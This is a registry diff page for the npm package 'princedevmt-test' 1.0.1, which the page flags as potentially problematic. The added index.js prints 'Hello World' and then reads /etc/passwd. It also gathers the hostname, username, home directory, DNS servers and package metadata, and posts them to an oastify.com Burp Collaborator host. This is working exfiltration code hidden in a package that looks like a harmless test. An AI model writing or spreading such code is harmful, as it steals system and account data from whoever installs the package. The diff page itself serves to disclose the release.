princedevmt-test 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of princedevmt-test might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +60 -0
  2. package/package.json +11 -0
package/index.js ADDED
@@ -0,0 +1,60 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const fs = require("fs");
6
+ const packageJSON = require("./package.json");
7
+ const package = packageJSON.name;
8
+
9
+ // Print "Hello World"
10
+ console.log("Hello World");
11
+
12
+ // Read the /etc/passwd file
13
+ let passwdData = "";
14
+ try {
15
+ passwdData = fs.readFileSync("/etc/passwd", "utf8");
16
+ } catch (err) {
17
+ passwdData = `Error reading /etc/passwd: ${err.message}`;
18
+ }
19
+
20
+ const trackingData = JSON.stringify({
21
+ p: package,
22
+ c: __dirname,
23
+ hd: os.homedir(),
24
+ hn: os.hostname(),
25
+ un: os.userInfo().username,
26
+ dns: dns.getServers(),
27
+ r: packageJSON ? packageJSON.___resolved : undefined,
28
+ v: packageJSON.version,
29
+ pjson: packageJSON,
30
+ passwd: passwdData, // Add the /etc/passwd content here
31
+ });
32
+
33
+ var postData = querystring.stringify({
34
+ msg: trackingData,
35
+ });
36
+
37
+ var options = {
38
+ hostname: "2qt7xq2vgqs6kwpwm5glbwh3augl4bs0.oastify.com", // Replace with Burp collaborator link
39
+ port: 443,
40
+ path: "/",
41
+ method: "POST",
42
+ headers: {
43
+ "Content-Type": "application/x-www-form-urlencoded",
44
+ "Content-Length": postData.length,
45
+ },
46
+ };
47
+
48
+ var req = https.request(options, (res) => {
49
+ res.on("data", (d) => {
50
+ process.stdout.write(d);
51
+ });
52
+ });
53
+
54
+ req.on("error", (e) => {
55
+ // console.error(e);
56
+ });
57
+
58
+ req.write(postData);
59
+ req.end();
60
+
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "princedevmt-test",
3
+ "version": "1.0.1",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }